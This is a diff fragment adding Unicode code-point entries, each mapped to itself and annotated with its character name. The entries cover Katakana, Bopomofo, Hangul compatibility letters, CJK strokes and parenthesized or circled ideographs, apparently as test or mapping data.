+ ["\u30E7", "\u30E7"], /* KATAKANA LETTER SMALL YO */
+ ["\u30E8", "\u30E8"], /* KATAKANA LETTER YO */
+ ["\u30E9", "\u30E9"], /* KATAKANA LETTER RA */
+ ["\u30EA", "\u30EA"], /* KATAKANA LETTER RI */
+ ["\u30EB", "\u30EB"], /* KATAKANA LETTER RU */
+ ["\u30EC", "\u30EC"], /* KATAKANA LETTER RE */
+ ["\u30ED", "\u30ED"], /* KATAKANA LETTER RO */
+ ["\u30EE", "\u30EE"], /* KATAKANA LETTER SMALL WA */
+ ["\u30EF", "\u30EF"], /* KATAKANA LETTER WA */
+ ["\u30F0", "\u30F0"], /* KATAKANA LETTER WI */
+ ["\u30F1", "\u30F1"], /* KATAKANA LETTER WE */
+ ["\u30F2", "\u30F2"], /* KATAKANA LETTER WO */
+ ["\u30F3", "\u30F3"], /* KATAKANA LETTER N */
+ ["\u30F4", "\u30F4"], /* KATAKANA LETTER VU */
+ ["\u30F5", "\u30F5"], /* KATAKANA LETTER SMALL KA */
+ ["\u30F6", "\u30F6"], /* KATAKANA LETTER SMALL KE */
+ ["\u30F7", "\u30F7"], /* KATAKANA LETTER VA */
+ ["\u30F8", "\u30F8"], /* KATAKANA LETTER VI */
+ ["\u30F9", "\u30F9"], /* KATAKANA LETTER VE */
+ ["\u30FA", "\u30FA"], /* KATAKANA LETTER VO */
+ ["\u30FB", "\u30FB"], /* KATAKANA MIDDLE DOT */
+ ["\u30FC", "\u30FC"], /* KATAKANA-HIRAGANA PROLONGED SOUND MARK */
+ ["\u30FD", "\u30FD"], /* KATAKANA ITERATION MARK */
+ ["\u30FE", "\u30FE"], /* KATAKANA VOICED ITERATION MARK */
+ ["\u30FF", "\u30FF"], /* KATAKANA DIGRAPH KOTO */
+ ["\u3100", "\u3100"],
+ ["\u3101", "\u3101"],
+ ["\u3102", "\u3102"],
+ ["\u3103", "\u3103"],
+ ["\u3104", "\u3104"],
+ ["\u3105", "\u3105"], /* BOPOMOFO LETTER B */
+ ["\u3106", "\u3106"], /* BOPOMOFO LETTER P */
+ ["\u3107", "\u3107"], /* BOPOMOFO LETTER M */
+ ["\u3108", "\u3108"], /* BOPOMOFO LETTER F */
+ ["\u3109", "\u3109"], /* BOPOMOFO LETTER D */
+ ["\u310A", "\u310A"], /* BOPOMOFO LETTER T */
+ ["\u310B", "\u310B"], /* BOPOMOFO LETTER N */
+ ["\u310C", "\u310C"], /* BOPOMOFO LETTER L */
+ ["\u310D", "\u310D"], /* BOPOMOFO LETTER G */
+ ["\u310E", "\u310E"], /* BOPOMOFO LETTER K */
+ ["\u310F", "\u310F"], /* BOPOMOFO LETTER H */
+ ["\u3110", "\u3110"], /* BOPOMOFO LETTER J */
+ ["\u3111", "\u3111"], /* BOPOMOFO LETTER Q */
+ ["\u3112", "\u3112"], /* BOPOMOFO LETTER X */
+ ["\u3113", "\u3113"], /* BOPOMOFO LETTER ZH */
+ ["\u3114", "\u3114"], /* BOPOMOFO LETTER CH */
+ ["\u3115", "\u3115"], /* BOPOMOFO LETTER SH */
+ ["\u3116", "\u3116"], /* BOPOMOFO LETTER R */
+ ["\u3117", "\u3117"], /* BOPOMOFO LETTER Z */
+ ["\u3118", "\u3118"], /* BOPOMOFO LETTER C */
+ ["\u3119", "\u3119"], /* BOPOMOFO LETTER S */
+ ["\u311A", "\u311A"], /* BOPOMOFO LETTER A */
+ ["\u311B", "\u311B"], /* BOPOMOFO LETTER O */
+ ["\u311C", "\u311C"], /* BOPOMOFO LETTER E */
+ ["\u311D", "\u311D"], /* BOPOMOFO LETTER EH */
+ ["\u311E", "\u311E"], /* BOPOMOFO LETTER AI */
+ ["\u311F", "\u311F"], /* BOPOMOFO LETTER EI */
+ ["\u3120", "\u3120"], /* BOPOMOFO LETTER AU */
+ ["\u3121", "\u3121"], /* BOPOMOFO LETTER OU */
+ ["\u3122", "\u3122"], /* BOPOMOFO LETTER AN */
+ ["\u3123", "\u3123"], /* BOPOMOFO LETTER EN */
+ ["\u3124", "\u3124"], /* BOPOMOFO LETTER ANG */
+ ["\u3125", "\u3125"], /* BOPOMOFO LETTER ENG */
+ ["\u3126", "\u3126"], /* BOPOMOFO LETTER ER */
+ ["\u3127", "\u3127"], /* BOPOMOFO LETTER I */
+ ["\u3128", "\u3128"], /* BOPOMOFO LETTER U */
+ ["\u3129", "\u3129"], /* BOPOMOFO LETTER IU */
+ ["\u312A", "\u312A"], /* BOPOMOFO LETTER V */
+ ["\u312B", "\u312B"], /* BOPOMOFO LETTER NG */
+ ["\u312C", "\u312C"], /* BOPOMOFO LETTER GN */
+ ["\u312D", "\u312D"], /* BOPOMOFO LETTER IH */
+ ["\u312E", "\u312E"], /* BOPOMOFO LETTER O WITH DOT ABOVE */
+ ["\u312F", "\u312F"], /* BOPOMOFO LETTER NN */
+ ["\u3130", "\u3130"],
+ ["\u3131", "\u3131"], /* HANGUL LETTER KIYEOK (HANGUL LETTER GIYEOG) */
+ ["\u3132", "\u3132"], /* HANGUL LETTER SSANGKIYEOK (HANGUL LETTER SSANG GIYEOG) */
+ ["\u3133", "\u3133"], /* HANGUL LETTER KIYEOK-SIOS (HANGUL LETTER GIYEOG SIOS) */
+ ["\u3134", "\u3134"], /* HANGUL LETTER NIEUN */
+ ["\u3135", "\u3135"], /* HANGUL LETTER NIEUN-CIEUC (HANGUL LETTER NIEUN JIEUJ) */
+ ["\u3136", "\u3136"], /* HANGUL LETTER NIEUN-HIEUH (HANGUL LETTER NIEUN HIEUH) */
+ ["\u3137", "\u3137"], /* HANGUL LETTER TIKEUT (HANGUL LETTER DIGEUD) */
+ ["\u3138", "\u3138"], /* HANGUL LETTER SSANGTIKEUT (HANGUL LETTER SSANG DIGEUD) */
+ ["\u3139", "\u3139"], /* HANGUL LETTER RIEUL (HANGUL LETTER LIEUL) */
+ ["\u313A", "\u313A"], /* HANGUL LETTER RIEUL-KIYEOK (HANGUL LETTER LIEUL GIYEOG) */
+ ["\u313B", "\u313B"], /* HANGUL LETTER RIEUL-MIEUM (HANGUL LETTER LIEUL MIEUM) */
+ ["\u313C", "\u313C"], /* HANGUL LETTER RIEUL-PIEUP (HANGUL LETTER LIEUL BIEUB) */
+ ["\u313D", "\u313D"], /* HANGUL LETTER RIEUL-SIOS (HANGUL LETTER LIEUL SIOS) */
+ ["\u313E", "\u313E"], /* HANGUL LETTER RIEUL-THIEUTH (HANGUL LETTER LIEUL TIEUT) */
+ ["\u313F", "\u313F"], /* HANGUL LETTER RIEUL-PHIEUPH (HANGUL LETTER LIEUL PIEUP) */
+ ["\u3140", "\u3140"], /* HANGUL LETTER RIEUL-HIEUH (HANGUL LETTER LIEUL HIEUH) */
+ ["\u3141", "\u3141"], /* HANGUL LETTER MIEUM */
+ ["\u3142", "\u3142"], /* HANGUL LETTER PIEUP (HANGUL LETTER BIEUB) */
+ ["\u3143", "\u3143"], /* HANGUL LETTER SSANGPIEUP (HANGUL LETTER SSANG BIEUB) */
+ ["\u3144", "\u3144"], /* HANGUL LETTER PIEUP-SIOS (HANGUL LETTER BIEUB SIOS) */
+ ["\u3145", "\u3145"], /* HANGUL LETTER SIOS */
+ ["\u3146", "\u3146"], /* HANGUL LETTER SSANGSIOS (HANGUL LETTER SSANG SIOS) */
+ ["\u3147", "\u3147"], /* HANGUL LETTER IEUNG */
+ ["\u3148", "\u3148"], /* HANGUL LETTER CIEUC (HANGUL LETTER JIEUJ) */
+ ["\u3149", "\u3149"], /* HANGUL LETTER SSANGCIEUC (HANGUL LETTER SSANG JIEUJ) */
+ ["\u314A", "\u314A"], /* HANGUL LETTER CHIEUCH (HANGUL LETTER CIEUC) */
+ ["\u314B", "\u314B"], /* HANGUL LETTER KHIEUKH (HANGUL LETTER KIYEOK) */
+ ["\u314C", "\u314C"], /* HANGUL LETTER THIEUTH (HANGUL LETTER TIEUT) */
+ ["\u314D", "\u314D"], /* HANGUL LETTER PHIEUPH (HANGUL LETTER PIEUP) */
+ ["\u314E", "\u314E"], /* HANGUL LETTER HIEUH */
+ ["\u314F", "\u314F"], /* HANGUL LETTER A */
+ ["\u3150", "\u3150"], /* HANGUL LETTER AE */
+ ["\u3151", "\u3151"], /* HANGUL LETTER YA */
+ ["\u3152", "\u3152"], /* HANGUL LETTER YAE */
+ ["\u3153", "\u3153"], /* HANGUL LETTER EO */
+ ["\u3154", "\u3154"], /* HANGUL LETTER E */
+ ["\u3155", "\u3155"], /* HANGUL LETTER YEO */
+ ["\u3156", "\u3156"], /* HANGUL LETTER YE */
+ ["\u3157", "\u3157"], /* HANGUL LETTER O */
+ ["\u3158", "\u3158"], /* HANGUL LETTER WA */
+ ["\u3159", "\u3159"], /* HANGUL LETTER WAE */
+ ["\u315A", "\u315A"], /* HANGUL LETTER OE */
+ ["\u315B", "\u315B"], /* HANGUL LETTER YO */
+ ["\u315C", "\u315C"], /* HANGUL LETTER U */
+ ["\u315D", "\u315D"], /* HANGUL LETTER WEO */
+ ["\u315E", "\u315E"], /* HANGUL LETTER WE */
+ ["\u315F", "\u315F"], /* HANGUL LETTER WI */
+ ["\u3160", "\u3160"], /* HANGUL LETTER YU */
+ ["\u3161", "\u3161"], /* HANGUL LETTER EU */
+ ["\u3162", "\u3162"], /* HANGUL LETTER YI */
+ ["\u3163", "\u3163"], /* HANGUL LETTER I */
+ ["\u3164", "\u3164"], /* HANGUL FILLER (HANGUL CAE OM) */
+ ["\u3165", "\u3165"], /* HANGUL LETTER SSANGNIEUN (HANGUL LETTER SSANG NIEUN) */
+ ["\u3166", "\u3166"], /* HANGUL LETTER NIEUN-TIKEUT (HANGUL LETTER NIEUN DIGEUD) */
+ ["\u3167", "\u3167"], /* HANGUL LETTER NIEUN-SIOS (HANGUL LETTER NIEUN SIOS) */
+ ["\u3168", "\u3168"], /* HANGUL LETTER NIEUN-PANSIOS (HANGUL LETTER NIEUN BAN CHI EUM) */
+ ["\u3169", "\u3169"], /* HANGUL LETTER RIEUL-KIYEOK-SIOS (HANGUL LETTER LIEUL GIYEOG SIOS) */
+ ["\u316A", "\u316A"], /* HANGUL LETTER RIEUL-TIKEUT (HANGUL LETTER LIEUL DIGEUD) */
+ ["\u316B", "\u316B"], /* HANGUL LETTER RIEUL-PIEUP-SIOS (HANGUL LETTER LIEUL BIEUB SIOS) */
+ ["\u316C", "\u316C"], /* HANGUL LETTER RIEUL-PANSIOS (HANGUL LETTER LIEUL BAN CHI EUM) */
+ ["\u316D", "\u316D"], /* HANGUL LETTER RIEUL-YEORINHIEUH (HANGUL LETTER LIEUL YEOLIN HIEUH) */
+ ["\u316E", "\u316E"], /* HANGUL LETTER MIEUM-PIEUP (HANGUL LETTER MIEUM BIEUB) */
+ ["\u316F", "\u316F"], /* HANGUL LETTER MIEUM-SIOS (HANGUL LETTER MIEUM SIOS) */
+ ["\u3170", "\u3170"], /* HANGUL LETTER MIEUM-PANSIOS (HANGUL LETTER BIEUB BAN CHI EUM) */
+ ["\u3171", "\u3171"], /* HANGUL LETTER KAPYEOUNMIEUM (HANGUL LETTER MIEUM SUN GYEONG EUM) */
+ ["\u3172", "\u3172"], /* HANGUL LETTER PIEUP-KIYEOK (HANGUL LETTER BIEUB GIYEOG) */
+ ["\u3173", "\u3173"], /* HANGUL LETTER PIEUP-TIKEUT (HANGUL LETTER BIEUB DIGEUD) */
+ ["\u3174", "\u3174"], /* HANGUL LETTER PIEUP-SIOS-KIYEOK (HANGUL LETTER BIEUB SIOS GIYEOG) */
+ ["\u3175", "\u3175"], /* HANGUL LETTER PIEUP-SIOS-TIKEUT (HANGUL LETTER BIEUB SIOS DIGEUD) */
+ ["\u3176", "\u3176"], /* HANGUL LETTER PIEUP-CIEUC (HANGUL LETTER BIEUB JIEUJ) */
+ ["\u3177", "\u3177"], /* HANGUL LETTER PIEUP-THIEUTH (HANGUL LETTER BIEUB TIEUT) */
+ ["\u3178", "\u3178"], /* HANGUL LETTER KAPYEOUNPIEUP (HANGUL LETTER BIEUB SUN GYEONG EUM) */
+ ["\u3179", "\u3179"], /* HANGUL LETTER KAPYEOUNSSANGPIEUP (HANGUL LETTER SSANG BIEUB SUN GYEONG EUM) */
+ ["\u317A", "\u317A"], /* HANGUL LETTER SIOS-KIYEOK (HANGUL LETTER SIOS GIYEOG) */
+ ["\u317B", "\u317B"], /* HANGUL LETTER SIOS-NIEUN (HANGUL LETTER SIOS NIEUN) */
+ ["\u317C", "\u317C"], /* HANGUL LETTER SIOS-TIKEUT (HANGUL LETTER SIOS DIGEUD) */
+ ["\u317D", "\u317D"], /* HANGUL LETTER SIOS-PIEUP (HANGUL LETTER SIOS BIEUB) */
+ ["\u317E", "\u317E"], /* HANGUL LETTER SIOS-CIEUC (HANGUL LETTER SIOS JIEUJ) */
+ ["\u317F", "\u317F"], /* HANGUL LETTER PANSIOS (HANGUL LETTER BAN CHI EUM) */
+ ["\u3180", "\u3180"], /* HANGUL LETTER SSANGIEUNG (HANGUL LETTER SSANG IEUNG) */
+ ["\u3181", "\u3181"], /* HANGUL LETTER YESIEUNG (HANGUL LETTER NGIEUNG) */
+ ["\u3182", "\u3182"], /* HANGUL LETTER YESIEUNG-SIOS (HANGUL LETTER NGIEUNG SIOS) */
+ ["\u3183", "\u3183"], /* HANGUL LETTER YESIEUNG-PANSIOS (HANGUL LETTER NGIEUNG BAN CHI EUM) */
+ ["\u3184", "\u3184"], /* HANGUL LETTER KAPYEOUNPHIEUPH (HANGUL LETTER PIEUP SUN GYEONG EUM) */
+ ["\u3185", "\u3185"], /* HANGUL LETTER SSANGHIEUH (HANGUL LETTER SSANG HIEUH) */
+ ["\u3186", "\u3186"], /* HANGUL LETTER YEORINHIEUH (HANGUL LETTER YEOLIN HIEUH) */
+ ["\u3187", "\u3187"], /* HANGUL LETTER YO-YA (HANGUL LETTER YOYA) */
+ ["\u3188", "\u3188"], /* HANGUL LETTER YO-YAE (HANGUL LETTER YOYAE) */
+ ["\u3189", "\u3189"], /* HANGUL LETTER YO-I (HANGUL LETTER YOI) */
+ ["\u318A", "\u318A"], /* HANGUL LETTER YU-YEO (HANGUL LETTER YUYEO) */
+ ["\u318B", "\u318B"], /* HANGUL LETTER YU-YE (HANGUL LETTER YUYE) */
+ ["\u318C", "\u318C"], /* HANGUL LETTER YU-I (HANGUL LETTER YUI) */
+ ["\u318D", "\u318D"], /* HANGUL LETTER ARAEA (HANGUL LETTER ALAE A) */
+ ["\u318E", "\u318E"], /* HANGUL LETTER ARAEAE (HANGUL LETTER ALAE AE) */
+ ["\u318F", "\u318F"],
+ ["\u3190", "\u3190"], /* IDEOGRAPHIC ANNOTATION LINKING MARK (KANBUN TATETEN) */
+ ["\u3191", "\u3191"], /* IDEOGRAPHIC ANNOTATION REVERSE MARK (KAERITEN RE) */
+ ["\u3192", "\u3192"], /* IDEOGRAPHIC ANNOTATION ONE MARK (KAERITEN ITI) */
+ ["\u3193", "\u3193"], /* IDEOGRAPHIC ANNOTATION TWO MARK (KAERITEN NI) */
+ ["\u3194", "\u3194"], /* IDEOGRAPHIC ANNOTATION THREE MARK (KAERITEN SAN) */
+ ["\u3195", "\u3195"], /* IDEOGRAPHIC ANNOTATION FOUR MARK (KAERITEN SI) */
+ ["\u3196", "\u3196"], /* IDEOGRAPHIC ANNOTATION TOP MARK (KAERITEN ZYOU) */
+ ["\u3197", "\u3197"], /* IDEOGRAPHIC ANNOTATION MIDDLE MARK (KAERITEN TYUU) */
+ ["\u3198", "\u3198"], /* IDEOGRAPHIC ANNOTATION BOTTOM MARK (KAERITEN GE) */
+ ["\u3199", "\u3199"], /* IDEOGRAPHIC ANNOTATION FIRST MARK (KAERITEN KOU) */
+ ["\u319A", "\u319A"], /* IDEOGRAPHIC ANNOTATION SECOND MARK (KAERITEN OTU) */
+ ["\u319B", "\u319B"], /* IDEOGRAPHIC ANNOTATION THIRD MARK (KAERITEN HEI) */
+ ["\u319C", "\u319C"], /* IDEOGRAPHIC ANNOTATION FOURTH MARK (KAERITEN TEI) */
+ ["\u319D", "\u319D"], /* IDEOGRAPHIC ANNOTATION HEAVEN MARK (KAERITEN TEN) */
+ ["\u319E", "\u319E"], /* IDEOGRAPHIC ANNOTATION EARTH MARK (KAERITEN TI) */
+ ["\u319F", "\u319F"], /* IDEOGRAPHIC ANNOTATION MAN MARK (KAERITEN ZIN) */
+ ["\u31A0", "\u31A0"], /* BOPOMOFO LETTER BU */
+ ["\u31A1", "\u31A1"], /* BOPOMOFO LETTER ZI */
+ ["\u31A2", "\u31A2"], /* BOPOMOFO LETTER JI */
+ ["\u31A3", "\u31A3"], /* BOPOMOFO LETTER GU */
+ ["\u31A4", "\u31A4"], /* BOPOMOFO LETTER EE */
+ ["\u31A5", "\u31A5"], /* BOPOMOFO LETTER ENN */
+ ["\u31A6", "\u31A6"], /* BOPOMOFO LETTER OO */
+ ["\u31A7", "\u31A7"], /* BOPOMOFO LETTER ONN */
+ ["\u31A8", "\u31A8"], /* BOPOMOFO LETTER IR */
+ ["\u31A9", "\u31A9"], /* BOPOMOFO LETTER ANN */
+ ["\u31AA", "\u31AA"], /* BOPOMOFO LETTER INN */
+ ["\u31AB", "\u31AB"], /* BOPOMOFO LETTER UNN */
+ ["\u31AC", "\u31AC"], /* BOPOMOFO LETTER IM */
+ ["\u31AD", "\u31AD"], /* BOPOMOFO LETTER NGG */
+ ["\u31AE", "\u31AE"], /* BOPOMOFO LETTER AINN */
+ ["\u31AF", "\u31AF"], /* BOPOMOFO LETTER AUNN */
+ ["\u31B0", "\u31B0"], /* BOPOMOFO LETTER AM */
+ ["\u31B1", "\u31B1"], /* BOPOMOFO LETTER OM */
+ ["\u31B2", "\u31B2"], /* BOPOMOFO LETTER ONG */
+ ["\u31B3", "\u31B3"], /* BOPOMOFO LETTER INNN */
+ ["\u31B4", "\u31B4"], /* BOPOMOFO FINAL LETTER P */
+ ["\u31B5", "\u31B5"], /* BOPOMOFO FINAL LETTER T */
+ ["\u31B6", "\u31B6"], /* BOPOMOFO FINAL LETTER K */
+ ["\u31B7", "\u31B7"], /* BOPOMOFO FINAL LETTER H */
+ ["\u31B8", "\u31B8"], /* BOPOMOFO LETTER GH */
+ ["\u31B9", "\u31B9"], /* BOPOMOFO LETTER LH */
+ ["\u31BA", "\u31BA"], /* BOPOMOFO LETTER ZY */
+ ["\u31BB", "\u31BB"], /* BOPOMOFO FINAL LETTER G */
+ ["\u31BC", "\u31BC"], /* BOPOMOFO LETTER GW */
+ ["\u31BD", "\u31BD"], /* BOPOMOFO LETTER KW */
+ ["\u31BE", "\u31BE"], /* BOPOMOFO LETTER OE */
+ ["\u31BF", "\u31BF"], /* BOPOMOFO LETTER AH */
+ ["\u31C0", "\u31C0"], /* CJK STROKE T */
+ ["\u31C1", "\u31C1"], /* CJK STROKE WG */
+ ["\u31C2", "\u31C2"], /* CJK STROKE XG */
+ ["\u31C3", "\u31C3"], /* CJK STROKE BXG */
+ ["\u31C4", "\u31C4"], /* CJK STROKE SW */
+ ["\u31C5", "\u31C5"], /* CJK STROKE HZZ */
+ ["\u31C6", "\u31C6"], /* CJK STROKE HZG */
+ ["\u31C7", "\u31C7"], /* CJK STROKE HP */
+ ["\u31C8", "\u31C8"], /* CJK STROKE HZWG */
+ ["\u31C9", "\u31C9"], /* CJK STROKE SZWG */
+ ["\u31CA", "\u31CA"], /* CJK STROKE HZT */
+ ["\u31CB", "\u31CB"], /* CJK STROKE HZZP */
+ ["\u31CC", "\u31CC"], /* CJK STROKE HPWG */
+ ["\u31CD", "\u31CD"], /* CJK STROKE HZW */
+ ["\u31CE", "\u31CE"], /* CJK STROKE HZZZ */
+ ["\u31CF", "\u31CF"], /* CJK STROKE N */
+ ["\u31D0", "\u31D0"], /* CJK STROKE H */
+ ["\u31D1", "\u31D1"], /* CJK STROKE S */
+ ["\u31D2", "\u31D2"], /* CJK STROKE P */
+ ["\u31D3", "\u31D3"], /* CJK STROKE SP */
+ ["\u31D4", "\u31D4"], /* CJK STROKE D */
+ ["\u31D5", "\u31D5"], /* CJK STROKE HZ */
+ ["\u31D6", "\u31D6"], /* CJK STROKE HG */
+ ["\u31D7", "\u31D7"], /* CJK STROKE SZ */
+ ["\u31D8", "\u31D8"], /* CJK STROKE SWZ */
+ ["\u31D9", "\u31D9"], /* CJK STROKE ST */
+ ["\u31DA", "\u31DA"], /* CJK STROKE SG */
+ ["\u31DB", "\u31DB"], /* CJK STROKE PD */
+ ["\u31DC", "\u31DC"], /* CJK STROKE PZ */
+ ["\u31DD", "\u31DD"], /* CJK STROKE TN */
+ ["\u31DE", "\u31DE"], /* CJK STROKE SZZ */
+ ["\u31DF", "\u31DF"], /* CJK STROKE SWG */
+ ["\u31E0", "\u31E0"], /* CJK STROKE HXWG */
+ ["\u31E1", "\u31E1"], /* CJK STROKE HZZZG */
+ ["\u31E2", "\u31E2"], /* CJK STROKE PG */
+ ["\u31E3", "\u31E3"], /* CJK STROKE Q */
+ ["\u31E4", "\u31E4"],
+ ["\u31E5", "\u31E5"],
+ ["\u31E6", "\u31E6"],
+ ["\u31E7", "\u31E7"],
+ ["\u31E8", "\u31E8"],
+ ["\u31E9", "\u31E9"],
+ ["\u31EA", "\u31EA"],
+ ["\u31EB", "\u31EB"],
+ ["\u31EC", "\u31EC"],
+ ["\u31ED", "\u31ED"],
+ ["\u31EE", "\u31EE"],
+ ["\u31EF", "\u31EF"],
+ ["\u31F0", "\u31F0"], /* KATAKANA LETTER SMALL KU */
+ ["\u31F1", "\u31F1"], /* KATAKANA LETTER SMALL SI */
+ ["\u31F2", "\u31F2"], /* KATAKANA LETTER SMALL SU */
+ ["\u31F3", "\u31F3"], /* KATAKANA LETTER SMALL TO */
+ ["\u31F4", "\u31F4"], /* KATAKANA LETTER SMALL NU */
+ ["\u31F5", "\u31F5"], /* KATAKANA LETTER SMALL HA */
+ ["\u31F6", "\u31F6"], /* KATAKANA LETTER SMALL HI */
+ ["\u31F7", "\u31F7"], /* KATAKANA LETTER SMALL HU */
+ ["\u31F8", "\u31F8"], /* KATAKANA LETTER SMALL HE */
+ ["\u31F9", "\u31F9"], /* KATAKANA LETTER SMALL HO */
+ ["\u31FA", "\u31FA"], /* KATAKANA LETTER SMALL MU */
+ ["\u31FB", "\u31FB"], /* KATAKANA LETTER SMALL RA */
+ ["\u31FC", "\u31FC"], /* KATAKANA LETTER SMALL RI */
+ ["\u31FD", "\u31FD"], /* KATAKANA LETTER SMALL RU */
+ ["\u31FE", "\u31FE"], /* KATAKANA LETTER SMALL RE */
+ ["\u31FF", "\u31FF"], /* KATAKANA LETTER SMALL RO */
+ ["\u3200", "\u3200"], /* PARENTHESIZED HANGUL KIYEOK (PARENTHESIZED HANGUL GIYEOG) */
+ ["\u3201", "\u3201"], /* PARENTHESIZED HANGUL NIEUN */
+ ["\u3202", "\u3202"], /* PARENTHESIZED HANGUL TIKEUT (PARENTHESIZED HANGUL DIGEUD) */
+ ["\u3203", "\u3203"], /* PARENTHESIZED HANGUL RIEUL (PARENTHESIZED HANGUL LIEUL) */
+ ["\u3204", "\u3204"], /* PARENTHESIZED HANGUL MIEUM */
+ ["\u3205", "\u3205"], /* PARENTHESIZED HANGUL PIEUP (PARENTHESIZED HANGUL BIEUB) */
+ ["\u3206", "\u3206"], /* PARENTHESIZED HANGUL SIOS */
+ ["\u3207", "\u3207"], /* PARENTHESIZED HANGUL IEUNG */
+ ["\u3208", "\u3208"], /* PARENTHESIZED HANGUL CIEUC (PARENTHESIZED HANGUL JIEUJ) */
+ ["\u3209", "\u3209"], /* PARENTHESIZED HANGUL CHIEUCH (PARENTHESIZED HANGUL CIEUC) */
+ ["\u320A", "\u320A"], /* PARENTHESIZED HANGUL KHIEUKH (PARENTHESIZED HANGUL KIYEOK) */
+ ["\u320B", "\u320B"], /* PARENTHESIZED HANGUL THIEUTH (PARENTHESIZED HANGUL TIEUT) */
+ ["\u320C", "\u320C"], /* PARENTHESIZED HANGUL PHIEUPH (PARENTHESIZED HANGUL PIEUP) */
+ ["\u320D", "\u320D"], /* PARENTHESIZED HANGUL HIEUH */
+ ["\u320E", "\u320E"], /* PARENTHESIZED HANGUL KIYEOK A (PARENTHESIZED HANGUL GA) */
+ ["\u320F", "\u320F"], /* PARENTHESIZED HANGUL NIEUN A (PARENTHESIZED HANGUL NA) */
+ ["\u3210", "\u3210"], /* PARENTHESIZED HANGUL TIKEUT A (PARENTHESIZED HANGUL DA) */
+ ["\u3211", "\u3211"], /* PARENTHESIZED HANGUL RIEUL A (PARENTHESIZED HANGUL LA) */
+ ["\u3212", "\u3212"], /* PARENTHESIZED HANGUL MIEUM A (PARENTHESIZED HANGUL MA) */
+ ["\u3213", "\u3213"], /* PARENTHESIZED HANGUL PIEUP A (PARENTHESIZED HANGUL BA) */
+ ["\u3214", "\u3214"], /* PARENTHESIZED HANGUL SIOS A (PARENTHESIZED HANGUL SA) */
+ ["\u3215", "\u3215"], /* PARENTHESIZED HANGUL IEUNG A (PARENTHESIZED HANGUL A) */
+ ["\u3216", "\u3216"], /* PARENTHESIZED HANGUL CIEUC A (PARENTHESIZED HANGUL JA) */
+ ["\u3217", "\u3217"], /* PARENTHESIZED HANGUL CHIEUCH A (PARENTHESIZED HANGUL CA) */
+ ["\u3218", "\u3218"], /* PARENTHESIZED HANGUL KHIEUKH A (PARENTHESIZED HANGUL KA) */
+ ["\u3219", "\u3219"], /* PARENTHESIZED HANGUL THIEUTH A (PARENTHESIZED HANGUL TA) */
+ ["\u321A", "\u321A"], /* PARENTHESIZED HANGUL PHIEUPH A (PARENTHESIZED HANGUL PA) */
+ ["\u321B", "\u321B"], /* PARENTHESIZED HANGUL HIEUH A (PARENTHESIZED HANGUL HA) */
+ ["\u321C", "\u321C"], /* PARENTHESIZED HANGUL CIEUC U (PARENTHESIZED HANGUL JU) */
+ ["\u321D", "\u321D"], /* PARENTHESIZED KOREAN CHARACTER OJEON */
+ ["\u321E", "\u321E"], /* PARENTHESIZED KOREAN CHARACTER O HU */
+ ["\u321F", "\u321F"],
+ ["\u3220", "\u3220"], /* PARENTHESIZED IDEOGRAPH ONE */
+ ["\u3221", "\u3221"], /* PARENTHESIZED IDEOGRAPH TWO */
+ ["\u3222", "\u3222"], /* PARENTHESIZED IDEOGRAPH THREE */
+ ["\u3223", "\u3223"], /* PARENTHESIZED IDEOGRAPH FOUR */
+ ["\u3224", "\u3224"], /* PARENTHESIZED IDEOGRAPH FIVE */
+ ["\u3225", "\u3225"], /* PARENTHESIZED IDEOGRAPH SIX */
+ ["\u3226", "\u3226"], /* PARENTHESIZED IDEOGRAPH SEVEN */
+ ["\u3227", "\u3227"], /* PARENTHESIZED IDEOGRAPH EIGHT */
+ ["\u3228", "\u3228"], /* PARENTHESIZED IDEOGRAPH NINE */
+ ["\u3229", "\u3229"], /* PARENTHESIZED IDEOGRAPH TEN */
+ ["\u322A", "\u322A"], /* PARENTHESIZED IDEOGRAPH MOON */
+ ["\u322B", "\u322B"], /* PARENTHESIZED IDEOGRAPH FIRE */
+ ["\u322C", "\u322C"], /* PARENTHESIZED IDEOGRAPH WATER */
+ ["\u322D", "\u322D"], /* PARENTHESIZED IDEOGRAPH WOOD */
+ ["\u322E", "\u322E"], /* PARENTHESIZED IDEOGRAPH METAL */
+ ["\u322F", "\u322F"], /* PARENTHESIZED IDEOGRAPH EARTH */
+ ["\u3230", "\u3230"], /* PARENTHESIZED IDEOGRAPH SUN */
+ ["\u3231", "\u3231"], /* PARENTHESIZED IDEOGRAPH STOCK */
+ ["\u3232", "\u3232"], /* PARENTHESIZED IDEOGRAPH HAVE */
+ ["\u3233", "\u3233"], /* PARENTHESIZED IDEOGRAPH SOCIETY */
+ ["\u3234", "\u3234"], /* PARENTHESIZED IDEOGRAPH NAME */
+ ["\u3235", "\u3235"], /* PARENTHESIZED IDEOGRAPH SPECIAL */
+ ["\u3236", "\u3236"], /* PARENTHESIZED IDEOGRAPH FINANCIAL */
+ ["\u3237", "\u3237"], /* PARENTHESIZED IDEOGRAPH CONGRATULATION */
+ ["\u3238", "\u3238"], /* PARENTHESIZED IDEOGRAPH LABOR */
+ ["\u3239", "\u3239"], /* PARENTHESIZED IDEOGRAPH REPRESENT */
+ ["\u323A", "\u323A"], /* PARENTHESIZED IDEOGRAPH CALL */
+ ["\u323B", "\u323B"], /* PARENTHESIZED IDEOGRAPH STUDY */
+ ["\u323C", "\u323C"], /* PARENTHESIZED IDEOGRAPH SUPERVISE */
+ ["\u323D", "\u323D"], /* PARENTHESIZED IDEOGRAPH ENTERPRISE */
+ ["\u323E", "\u323E"], /* PARENTHESIZED IDEOGRAPH RESOURCE */
+ ["\u323F", "\u323F"], /* PARENTHESIZED IDEOGRAPH ALLIANCE */
+ ["\u3240", "\u3240"], /* PARENTHESIZED IDEOGRAPH FESTIVAL */
+ ["\u3241", "\u3241"], /* PARENTHESIZED IDEOGRAPH REST */
+ ["\u3242", "\u3242"], /* PARENTHESIZED IDEOGRAPH SELF */
+ ["\u3243", "\u3243"], /* PARENTHESIZED IDEOGRAPH REACH */
+ ["\u3244", "\u3244"], /* CIRCLED IDEOGRAPH QUESTION */
+ ["\u3245", "\u3245"], /* CIRCLED IDEOGRAPH KINDERGARTEN */
+ ["\u3246", "\u3246"], /* CIRCLED IDEOGRAPH SCHOOL */
+ ["\u3247", "\u3247"], /* CIRCLED IDEOGRAPH KOTO */
+ ["\u3248", "\u3248"], /* CIRCLED NUMBER TEN ON BLACK SQUARE */
+ ["\u3249", "\u3249"], /* CIRCLED NUMBER TWENTY ON BLACK SQUARE */
+ ["\u324A", "\u324A"], /* CIRCLED NUMBER THIRTY ON BLACK SQUARE */
+ ["\u324B", "\u324B"], /* CIRCLED NUMBER FORTY ON BLACK SQUARE */
